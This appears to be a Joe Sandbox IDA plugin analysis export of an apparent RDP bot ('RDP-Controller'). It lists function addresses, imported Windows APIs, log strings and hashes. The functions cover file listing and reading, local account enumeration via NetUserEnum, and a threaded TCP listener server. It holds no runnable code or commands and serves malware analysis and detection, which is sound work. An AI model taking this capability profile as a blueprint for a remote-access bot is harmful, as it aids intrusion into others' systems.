Function 00007FF6BE031CF3 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 159fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE ref: 00007FF6BE031D39
_mbscpy.MSVCRT ref: 00007FF6BE031D54
FindFirstFileA.KERNEL32 ref: 00007FF6BE031E27
GetLastError.KERNEL32 ref: 00007FF6BE031E43
GetLastError.KERNEL32 ref: 00007FF6BE031E72
FindClose.KERNEL32 ref: 00007FF6BE031E90

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu), xrefs: 00007FF6BE031EA8
(resume_handle != NULL), xrefs: 00007FF6BE031DF9
[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu), xrefs: 00007FF6BE031E64
(path != NULL), xrefs: 00007FF6BE031D89
fs_dir_list, xrefs: 00007FF6BE031D90, 00007FF6BE031DC8, 00007FF6BE031E00, 00007FF6BE031E5D, 00007FF6BE031EA1
(name != NULL), xrefs: 00007FF6BE031DC1
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE031D97, 00007FF6BE031DCF, 00007FF6BE031E07
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF6BE031D82, 00007FF6BE031DBA, 00007FF6BE031DF2

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Find$ErrorFileLast$CloseFirstNext_mbscpyfflushfwrite
String ID: (name != NULL)$(path != NULL)$(resume_handle != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu)$[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu)$fs_dir_list
API String ID: 1094913617-243243391
Opcode ID: 4479868d61843783ce57a0bb4d40878a2ad77d6bec23207d6b7c491633aae95a
Instruction ID: adda9e58ddc3f6a07252838e02f4e407d7d1d81964b9e8de9c4516b0ee891cf2
Opcode Fuzzy Hash: 4479868d61843783ce57a0bb4d40878a2ad77d6bec23207d6b7c491633aae95a
Instruction Fuzzy Hash: E1613C69E0D54789FB30971CA500BB82260AF7D359F940133FB6EEB2D4DF2CA9658342

Function 00007FF8BA4F4013 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 159filestringCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32 ref: 00007FF8BA4F4059
strcpy.MSVCRT ref: 00007FF8BA4F4074
FindFirstFileA.KERNEL32 ref: 00007FF8BA4F4147
GetLastError.KERNEL32 ref: 00007FF8BA4F4163
GetLastError.KERNEL32 ref: 00007FF8BA4F4192
FindClose.KERNEL32 ref: 00007FF8BA4F41B0

Part of subcall function 00007FF8BA4F1292: fwrite.MSVCRT ref: 00007FF8BA4F133E
Part of subcall function 00007FF8BA4F1292: fflush.MSVCRT ref: 00007FF8BA4F134A

Strings

[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu), xrefs: 00007FF8BA4F41C8
(path != NULL), xrefs: 00007FF8BA4F40A9
(resume_handle != NULL), xrefs: 00007FF8BA4F4119
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BA4F40A2, 00007FF8BA4F40DA, 00007FF8BA4F4112
fs_dir_list, xrefs: 00007FF8BA4F40B0, 00007FF8BA4F40E8, 00007FF8BA4F4120, 00007FF8BA4F417D, 00007FF8BA4F41C1
(name != NULL), xrefs: 00007FF8BA4F40E1
[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu), xrefs: 00007FF8BA4F4184
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BA4F40B7, 00007FF8BA4F40EF, 00007FF8BA4F4127

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: Find$ErrorFileLast$CloseFirstNextfflushfwritestrcpy
String ID: (name != NULL)$(path != NULL)$(resume_handle != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu)$[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu)$fs_dir_list
API String ID: 4253334766-243243391
Opcode ID: 329fdf8127f5f1158765810408fb89e91592730f77661986c47c59f41f2ff3fe
Instruction ID: 9fbea3e9211dbda891c98ddf260b97aa5cdcbbb0fcc86a1b2bbb801f3b3f621b
Opcode Fuzzy Hash: 329fdf8127f5f1158765810408fb89e91592730f77661986c47c59f41f2ff3fe
Instruction Fuzzy Hash: DD616E36E0C543D5FB205BDDA8C43B922606F523D4F4629B2DF6E572E4EF2EAA448341

Function 00007FF8B915387F Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B915379F: GetProcessHeap.KERNEL32 ref: 00007FF8B91537E7
Part of subcall function 00007FF8B915379F: HeapFree.KERNEL32 ref: 00007FF8B91537F8
Part of subcall function 00007FF8B915379F: GetProcessHeap.KERNEL32 ref: 00007FF8B915380C
Part of subcall function 00007FF8B915379F: HeapFree.KERNEL32 ref: 00007FF8B915381D
Part of subcall function 00007FF8B915379F: LocalFree.KERNEL32 ref: 00007FF8B9153831
Part of subcall function 00007FF8B915379F: LocalFree.KERNEL32 ref: 00007FF8B9153839
Part of subcall function 00007FF8B915379F: GetProcessHeap.KERNEL32 ref: 00007FF8B915384D
Part of subcall function 00007FF8B915379F: HeapFree.KERNEL32 ref: 00007FF8B915385E

NetApiBufferFree.NETAPI32 ref: 00007FF8B9153D97
NetUserEnum.NETAPI32 ref: 00007FF8B9153E0D
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E4B
HeapAlloc.KERNEL32 ref: 00007FF8B9153E5C
memcpy.MSVCRT ref: 00007FF8B9153E99
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E9E
HeapFree.KERNEL32 ref: 00007FF8B9153EAF

Strings

mem_alloc, xrefs: 00007FF8B91538A6
[E] (%s) -> NetUserEnum failed(enum_err=%08lx), xrefs: 00007FF8B9153F27
[I] (%s) -> Done(sam_user_num=%u), xrefs: 00007FF8B9154038
users_sync, xrefs: 00007FF8B9153EF7, 00007FF8B9153F20, 00007FF8B9154031
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8B91538AD
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B9153EFE

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Heap$Free$Process$Local$AllocBufferEnumUsermemcpy
String ID: [E] (%s) -> Failed(err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[E] (%s) -> NetUserEnum failed(enum_err=%08lx)$[I] (%s) -> Done(sam_user_num=%u)$mem_alloc$users_sync
API String ID: 1361071942-3382179125
Opcode ID: 12def299df3458bcfa48338576adbcb56069ab18652fada285a8cab9ade52bd0
Instruction ID: d1b092fe55e559ef2bf61db313e48846db6f1cf5b48348ad783265ac7f33d98f
Opcode Fuzzy Hash: 12def299df3458bcfa48338576adbcb56069ab18652fada285a8cab9ade52bd0
Instruction Fuzzy Hash: 23619322A0C6C796FA219F0CE84037962A1AF857D4F664036DB4D476D0EE3EF886F711

Function 00007FF8BFB315FA Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 89networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF8BFB31618
WSAGetLastError.WS2_32 ref: 00007FF8BFB31702

Part of subcall function 00007FF8BFB3152A: setsockopt.WS2_32 ref: 00007FF8BFB3155A

htonl.WS2_32 ref: 00007FF8BFB3164A
htons.WS2_32 ref: 00007FF8BFB3165B
bind.WS2_32 ref: 00007FF8BFB31674
listen.WS2_32 ref: 00007FF8BFB31689
WSAGetLastError.WS2_32 ref: 00007FF8BFB3169A

Part of subcall function 00007FF8BFB3A202: fwrite.MSVCRT ref: 00007FF8BFB3A2AE
Part of subcall function 00007FF8BFB3A202: fflush.MSVCRT ref: 00007FF8BFB3A2BA

WSAGetLastError.WS2_32 ref: 00007FF8BFB316C4

Strings

[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FF8BFB3174E
[E] (%s) -> bind failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8BFB316E0
[E] (%s) -> listen failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8BFB316B6
tcp_listen, xrefs: 00007FF8BFB316AF, 00007FF8BFB316D9, 00007FF8BFB31713, 00007FF8BFB31747
[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8BFB3171A

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: ErrorLast$bindfflushfwritehtonlhtonslistensetsockoptsocket
String ID: [E] (%s) -> bind failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> listen failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$tcp_listen
API String ID: 3590747132-3524496754
Opcode ID: 8525ac4b6cb84a984cd9b15e9deea8171ad707669ffd2c5e67cbfdf704f18dd2
Instruction ID: 8e918435d94036e9b3732c56a1de6dcce90be395cb9861e47b3713e66f837817
Opcode Fuzzy Hash: 8525ac4b6cb84a984cd9b15e9deea8171ad707669ffd2c5e67cbfdf704f18dd2
Instruction Fuzzy Hash: 11318065E8860782EA20AFBDE8001B97794AF497F4F181336EB7E436E5DE3CE4058700

Function 00007FF6BE038C4A Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF6BE038C62
strcmp.MSVCRT ref: 00007FF6BE038C75
StartServiceCtrlDispatcherA.ADVAPI32 ref: 00007FF6BE038CB1
_read.MSVCRT ref: 00007FF6BE038D07
GetLastError.KERNEL32 ref: 00007FF6BE038D26

Part of subcall function 00007FF6BE0388EE: FreeLibrary.KERNEL32(?,?,00000000,000002234F5413D0,00007FF6BE038CDE,?,?,?,?,?,?,00000001,00007FF6BE038E4A,?,?,00007FF6BE0484F8), ref: 00007FF6BE03892F
Part of subcall function 00007FF6BE0388EE: GetProcessHeap.KERNEL32(?,?,00000000,000002234F5413D0,00007FF6BE038CDE,?,?,?,?,?,?,00000001,00007FF6BE038E4A,?,?,00007FF6BE0484F8), ref: 00007FF6BE038962
Part of subcall function 00007FF6BE0388EE: HeapFree.KERNEL32(?,?,00000000,000002234F5413D0,00007FF6BE038CDE,?,?,?,?,?,?,00000001,00007FF6BE038E4A,?,?,00007FF6BE0484F8), ref: 00007FF6BE038973

Part of subcall function 00007FF6BE0389AA: GetProcessHeap.KERNEL32(?,?,00000000,00007FF6BE038CE3,?,?,?,?,?,?,00000001,00007FF6BE038E4A,?,?,00007FF6BE0484F8,00000000), ref: 00007FF6BE0389DB
Part of subcall function 00007FF6BE0389AA: HeapFree.KERNEL32(?,?,00000000,00007FF6BE038CE3,?,?,?,?,?,?,00000001,00007FF6BE038E4A,?,?,00007FF6BE0484F8,00000000), ref: 00007FF6BE0389EC

Strings

main, xrefs: 00007FF6BE038D31, 00007FF6BE038E0B
[E] (%s) -> No a valid run mode(mode=%s), xrefs: 00007FF6BE038E12
service, xrefs: 00007FF6BE038C6B, 00007FF6BE038CC5
standalone, xrefs: 00007FF6BE038C58
[E] (%s) -> StartServiceCtrlDispatcherA failed(GetLastError=%lu), xrefs: 00007FF6BE038D38
RDP-Controller, xrefs: 00007FF6BE038C82

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Heap$Free$Processstrcmp$CtrlDispatcherErrorLastLibraryServiceStart_read
String ID: RDP-Controller$[E] (%s) -> No a valid run mode(mode=%s)$[E] (%s) -> StartServiceCtrlDispatcherA failed(GetLastError=%lu)$main$service$standalone
API String ID: 3617873859-308889057
Opcode ID: 42f86d31ba7867ce5e87f8c186e311e3b151731fd0be31e8263105fe58cfcc7b
Instruction ID: f055d5472429013256aed81e0dbaa2e6912dfc5e3126da18a2211fb614dc6f37
Opcode Fuzzy Hash: 42f86d31ba7867ce5e87f8c186e311e3b151731fd0be31e8263105fe58cfcc7b
Instruction Fuzzy Hash: 82514D50E0C70381FB70671DA480BB952A4AF7C345F5418B3FB4EC62E6EE6DE9A58721

Function 00007FF6BE031131 Relevance: 13.6, APIs: 9, Instructions: 120sleepstringCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,00007FF6BE031313), ref: 00007FF6BE03116E
_amsg_exit.MSVCRT(?,?,?,00007FF6BE031313), ref: 00007FF6BE03118D
_initterm.MSVCRT ref: 00007FF6BE0311AE
_initterm.MSVCRT ref: 00007FF6BE0311D3
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF6BE031313), ref: 00007FF6BE031212
malloc.MSVCRT ref: 00007FF6BE031244
strlen.MSVCRT ref: 00007FF6BE03125C
malloc.MSVCRT ref: 00007FF6BE031268
_cexit.MSVCRT(?,?,?,00007FF6BE031313), ref: 00007FF6BE0312E3

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: _inittermmalloc$ExceptionFilterSleepUnhandled_amsg_exit_cexitstrlen
String ID:
API String ID: 3714283218-0
Opcode ID: 423c7fadebe407afcbf8f11926be5113ac1f50ee7c1d89c8a253cd586a538a4a
Instruction ID: ea8f0220818b1390bd916f2538a1d7f6e5716025ec37fa71180b05483ed0306d
Opcode Fuzzy Hash: 423c7fadebe407afcbf8f11926be5113ac1f50ee7c1d89c8a253cd586a538a4a
Instruction Fuzzy Hash: 1C513A26A1C65685FB619B5DE954AB923B0AF7C784F044536FF0DC7392DE3CE8218350

Function 00007FF8B9152A1A Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF8B9152A42
WSAGetLastError.WS2_32 ref: 00007FF8B9152A5C

Strings

tcp_recv, xrefs: 00007FF8B9152A76, 00007FF8B9152A8E, 00007FF8B9152AB3
[D] (%s) -> Disconnected(sock=0x%llx), xrefs: 00007FF8B9152A95
[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FF8B9152ABA
[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8B9152A7D

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: ErrorLastrecv
String ID: [D] (%s) -> Disconnected(sock=0x%llx)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d)$tcp_recv
API String ID: 2514157807-65069805
Opcode ID: 92f11da0d592137c33acb566b4c1e3a2f431a29a74f25d4b214e2cda57f86371
Instruction ID: 6f5303a74057ad607c5b78138d8cd0fc7aeb99e52170f154457bfad031e27db1
Opcode Fuzzy Hash: 92f11da0d592137c33acb566b4c1e3a2f431a29a74f25d4b214e2cda57f86371
Instruction Fuzzy Hash: DA118C51E0C69381FA216F2DA8406B912106F427E4F529730DA3D9AAE5EF1CF946E300

Function 00007FF6BE032515 Relevance: 72.0, APIs: 24, Strings: 17, Instructions: 298
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fopen.MSVCRT ref: 00007FF6BE03255A
fseek.MSVCRT ref: 00007FF6BE032579
_errno.MSVCRT ref: 00007FF6BE03258D
_errno.MSVCRT ref: 00007FF6BE0325A8
_errno.MSVCRT ref: 00007FF6BE032667

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

_errno.MSVCRT ref: 00007FF6BE032682
_errno.MSVCRT ref: 00007FF6BE0326C0
fclose.MSVCRT ref: 00007FF6BE032715
_errno.MSVCRT ref: 00007FF6BE0327B7
_errno.MSVCRT ref: 00007FF6BE0327D2

Strings

[E] (%s) -> fseek(SEEK_SET) failed(path=%s,errno=%d), xrefs: 00007FF6BE032890
[E] (%s) -> fopen failed(path=%s,errno=%d), xrefs: 00007FF6BE032676
NULL, xrefs: 00007FF6BE032ABB
(((*buf) == NULL) || ((*buf_sz) > 0)), xrefs: 00007FF6BE03263C
[E] (%s) -> fread failed(path=%s,errno=%d), xrefs: 00007FF6BE03295B
[E] (%s) -> ftell failed(path=%s,errno=%d), xrefs: 00007FF6BE0327C6
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF6BE032759
[E] (%s) -> fseek(SEEK_END) failed(path=%s,errno=%d), xrefs: 00007FF6BE03259C
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF6BE032934
mem_alloc, xrefs: 00007FF6BE03292D
fs_file_read, xrefs: 00007FF6BE032595, 00007FF6BE0325DD, 00007FF6BE032610, 00007FF6BE032643, 00007FF6BE03266F, 00007FF6BE032752, 00007FF6BE0327BF, 00007FF6BE032889, 00007FF6BE032954, 00007FF6BE032A48, 00007FF6BE032ACD
[E] (%s) -> fread undone(path=%s,l=%ld,n=%ld), xrefs: 00007FF6BE032A4F
(path != NULL), xrefs: 00007FF6BE0325D6
(buf_sz != NULL), xrefs: 00007FF6BE032609
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE0325E4, 00007FF6BE032617, 00007FF6BE03264A
[I] (%s) -> Done(path=%s,buf_sz=%llu), xrefs: 00007FF6BE032AD4
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF6BE0325CF, 00007FF6BE032602, 00007FF6BE032635

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: _errno$fclosefflushfopenfseekfwrite
String ID: (((*buf) == NULL) || ((*buf_sz) > 0))$(buf_sz != NULL)$(path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[E] (%s) -> fopen failed(path=%s,errno=%d)$[E] (%s) -> fread failed(path=%s,errno=%d)$[E] (%s) -> fread undone(path=%s,l=%ld,n=%ld)$[E] (%s) -> fseek(SEEK_END) failed(path=%s,errno=%d)$[E] (%s) -> fseek(SEEK_SET) failed(path=%s,errno=%d)$[E] (%s) -> ftell failed(path=%s,errno=%d)$[I] (%s) -> Done(path=%s,buf_sz=%llu)$fs_file_read$mem_alloc
API String ID: 2897271634-4162578512
Opcode ID: 22b100c5830f6336c3720d7b497c3ec90ad88d6a61efeae168927c580a299fcb
Instruction ID: a98f556bef790596188a3b22a663e00200f1627fc66f366a53f883346d779905
Opcode Fuzzy Hash: 22b100c5830f6336c3720d7b497c3ec90ad88d6a61efeae168927c580a299fcb
Instruction Fuzzy Hash: AAD14D61A09A4782FA209B5DE940BB82371BF78784F554133EB4ED72A5EE3CE566C301

Function 00007FF8BFB36941 Relevance: 66.8, APIs: 10, Strings: 28, Instructions: 327
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8BFB3695C
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8BFB36989
CreateThread.KERNEL32 ref: 00007FF8BFB369D5
CreateThread.KERNEL32 ref: 00007FF8BFB36A35
CreateThread.KERNEL32 ref: 00007FF8BFB36A95
GetLastError.KERNEL32 ref: 00007FF8BFB36AEC
GetLastError.KERNEL32 ref: 00007FF8BFB36C08
GetLastError.KERNEL32 ref: 00007FF8BFB36CE0

Part of subcall function 00007FF8BFB3A202: fwrite.MSVCRT ref: 00007FF8BFB3A2AE
Part of subcall function 00007FF8BFB3A202: fflush.MSVCRT ref: 00007FF8BFB3A2BA

GetLastError.KERNEL32 ref: 00007FF8BFB36DE8

Part of subcall function 00007FF8BFB3A202: EnterCriticalSection.KERNEL32 ref: 00007FF8BFB3A2D3
Part of subcall function 00007FF8BFB3A202: LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB3A2FB
Part of subcall function 00007FF8BFB3A202: CopyFileA.KERNEL32 ref: 00007FF8BFB3A358

GetLastError.KERNEL32 ref: 00007FF8BFB36EE6

Strings

, xrefs: 00007FF8BFB36C26
server_init, xrefs: 00007FF8BFB369F2, 00007FF8BFB36A52, 00007FF8BFB36AB2, 00007FF8BFB36AD4, 00007FF8BFB36AF7, 00007FF8BFB36C13, 00007FF8BFB36CEB, 00007FF8BFB36DF3, 00007FF8BFB36EF1, 00007FF8BFB36FE4
[E] (%s) -> CreateThread(routine_accept) failed(gle=%lu), xrefs: 00007FF8BFB36DFA
P, xrefs: 00007FF8BFB36F5E
, xrefs: 00007FF8BFB36E06
~, xrefs: 00007FF8BFB36B6A
P, xrefs: 00007FF8BFB36D2B
~, xrefs: 00007FF8BFB36F59
[I] (%s) -> CreateThread(%s) done, xrefs: 00007FF8BFB369F9, 00007FF8BFB36A59, 00007FF8BFB36AB9
P, xrefs: 00007FF8BFB36B6F
~, xrefs: 00007FF8BFB36E2E
[I] (%s) -> %s, xrefs: 00007FF8BFB36ADB
~, xrefs: 00007FF8BFB36D26
P, xrefs: 00007FF8BFB36E33
P, xrefs: 00007FF8BFB36C8F
[E] (%s) -> CreateThread(routine_gc) failed(gle=%lu), xrefs: 00007FF8BFB36CF2
routine_accept, xrefs: 00007FF8BFB36A4B
routine_tx, xrefs: 00007FF8BFB36AAB
Done, xrefs: 00007FF8BFB36ACD
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_queue) failed(gle=%lu), xrefs: 00007FF8BFB36AFE
, xrefs: 00007FF8BFB36B0A
routine_gc, xrefs: 00007FF8BFB369EB
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB36FEB
, xrefs: 00007FF8BFB36F04
~, xrefs: 00007FF8BFB36C86
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_clients) failed(gle=%lu), xrefs: 00007FF8BFB36C1A
[E] (%s) -> CreateThread(routine_tx) failed(gle=%lu), xrefs: 00007FF8BFB36EF8
, xrefs: 00007FF8BFB36CFE

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: ErrorLast$CriticalSection$CreateThread$CountInitializeSpin$CopyEnterFileLeavefflushfwrite
String ID: $ $ $ $ $Done$P$P$P$P$P$[E] (%s) -> CreateThread(routine_accept) failed(gle=%lu)$[E] (%s) -> CreateThread(routine_gc) failed(gle=%lu)$[E] (%s) -> CreateThread(routine_tx) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_clients) failed(gle=%lu)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_queue) failed(gle=%lu)$[I] (%s) -> %s$[I] (%s) -> CreateThread(%s) done$routine_accept$routine_gc$routine_tx$server_init$~$~$~$~$~
API String ID: 3214881788-719614687
